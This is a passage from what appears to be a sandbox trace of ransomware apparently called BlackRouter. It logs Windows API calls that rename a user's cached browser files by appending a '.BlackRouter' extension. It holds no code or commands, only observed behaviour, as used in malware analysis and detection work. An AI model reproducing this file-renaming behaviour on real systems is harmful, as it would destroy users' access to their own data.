ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x13c10)) returned 1 [0065.764] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\benefits-2[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\benefits-2[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\benefits-2[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\benefits-2[1].jpg.blackrouter")) returned 1 [0065.765] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x144cd [0065.782] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\benefits-4[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\benefits-4[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x60b84ce0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x60b84ce0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xcdb8ebd0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x144d0)) returned 1 [0065.782] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\benefits-4[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\benefits-4[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\benefits-4[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\benefits-4[1].jpg.blackrouter")) returned 1 [0065.796] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x24e29 [0065.906] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\e4-190963-91cdfbc1[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\e4-190963-91cdfbc1[1].txt"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5101afd0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5101afd0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xcdcbf6d0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x24e30)) returned 1 [0065.907] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\e4-190963-91cdfbc1[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\e4-190963-91cdfbc1[1].txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\e4-190963-91cdfbc1[1].txt.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\e4-190963-91cdfbc1[1].txt.blackrouter")) returned 1 [0065.908] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x34ce [0066.039] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\f[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\f[1].txt"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x62410fc0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x62410fc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xcddf01d0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x34d0)) returned 1 [0066.039] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\f[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\f[1].txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\f[1].txt.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\f[1].txt.blackrouter")) returned 1 [0066.040] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0xa2 [0066.082] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\print[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\print[1].txt"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x54fa1af0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54fa1af0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xcde625f0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0xb0)) returned 1 [0066.082] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\print[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\print[1].txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\print[1].txt.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\print[1].txt.blackrouter")) returned 1 [0066.231] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x650 [0066.272] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\activityi;src=2542116;type=clien612;cat=chrom0;ord=1;num=7814394060213[1].htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\activityi;src=2542116;type=clien612;cat=chrom0;ord=1;num=7814394060213[1].htm"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x61be2420, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x61be2420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xce02b670, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x660)) returned 1 [0066.272] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\activityi;src=2542116;type=clien612;cat=chrom0;ord=1;num=7814394060213[1].htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\activityi;src=2542116;type=clien612;cat=chrom0;ord=1;num=7814394060213[1].htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\activityi;src=2542116;type=clien612;cat=chrom0;ord=1;num=7814394060213[1].htm.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\activityi;src=2542116;type=clien612;cat=chrom0;ord=1;num=7814394060213[1].htm.blackrouter")) returned 1 [0066.273] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x0 [0066.275] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\only[1].htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\only[1].htm"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbfbb3b50, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbfbb3b50, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xce0517d0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x10)) returned 1 [0066.275] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\only[1].htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\only[1].htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\only[1].htm.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\only[1].htm.blackrouter")) returned 1 [0066.276] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x805a [0066.369] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\thankyou[1].htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\thankyou[1].htm"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x692027e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x692027e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xce136010, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x8060)) returned 1 [0066.369] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\thankyou[1].htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\thankyou[1].htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\thankyou[1].htm.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\thankyou[1].htm.blackrouter")) returned 1 [0066.372] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x461fe [0066.420] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\7962161087[1].js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\7962161087[1].js"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x54962130, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54962130, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xce1a8430, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x46200)) returned 1 [0066.420] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\7962161087[1].js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\7962161087[1].js"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\7962161087[1].js.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\7962161087[1].js.blackrouter")) returned 1 [0066.422] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x11835 [0066.436] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\ast[2].js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\ast[2].js"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x533a9870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x533a9870, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xce1ce590, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x11840)) returned 1 [0066.436] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\ast[2].js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\ast[2].js"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\ast[2].js.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\ast[2].js.blackrouter")) returned 1 [0066.438] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x7b1 [0066.450] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\ContainerTag[1].js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\containertag[1].js"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbe8f4e10, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbe8f4e10, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xce1f46f0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x7c0)) returned 1 [0066.451] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\ContainerTag[1].js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\containertag[1].js"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\ContainerTag[1].js.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\containertag[1].js.blackrouter")) returned 1 [0066.452] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0xa84a [0066.462] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\ga[1].js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\ga[1].js"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x61093ba0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x61093ba0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xce21a850, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0xa850)) returned 1 [0066.463] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\ga[1].js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\ga[1].js"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\ga[1].js.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\ga[1].js.blackrouter")) returned 1 [0066.464] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x46c9 [0066.469] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\modernizr[1].js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\modernizr[1].js"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x605b7740, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x605b7740, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xce21a850, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x46d0)) returned 1 [0066.469] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\modernizr[1].js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\modernizr[1].js"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\modernizr[1].js.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\modernizr[1].js.blackrouter")) returned 1 [0066.470] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0xec5 [0066.479] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\MSNIdSync[1].js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\msnidsync[1].js"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x457e4610, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x457e4610, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xce2409b0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0xed0)) returned 1 [0066.479] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\MSNIdSync[1].js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\msnidsync[1].js"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\MSNIdSync[1].js.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\msnidsync[1].js.blackrouter")) returned 1 [0066.481] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x6b6d [0066.488] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\player[1].js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\player[1].js"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x456d9c70, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x456d9c70, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xce2409b0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x6b70)) returned 1 [0066.488] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\player[1].js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\player[1].js"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\player[1].js.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\player[1].js.blackrouter")) returned 1 [0066.489] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x5f44 [0066.494] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\player[2].js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\player[2].js"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x456d9c70, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x456d9c70, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xce266b10, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x5f50)) returned 1 [0066.494] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\player[2].js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\player[2].js"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\player[2].js.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\player[2].js.blackrouter")) returned 1 [0066.500] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0xa756 [0066.508] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\19619569[1].gif" (normalized: "c:\\users\\5p5nrgjn0js 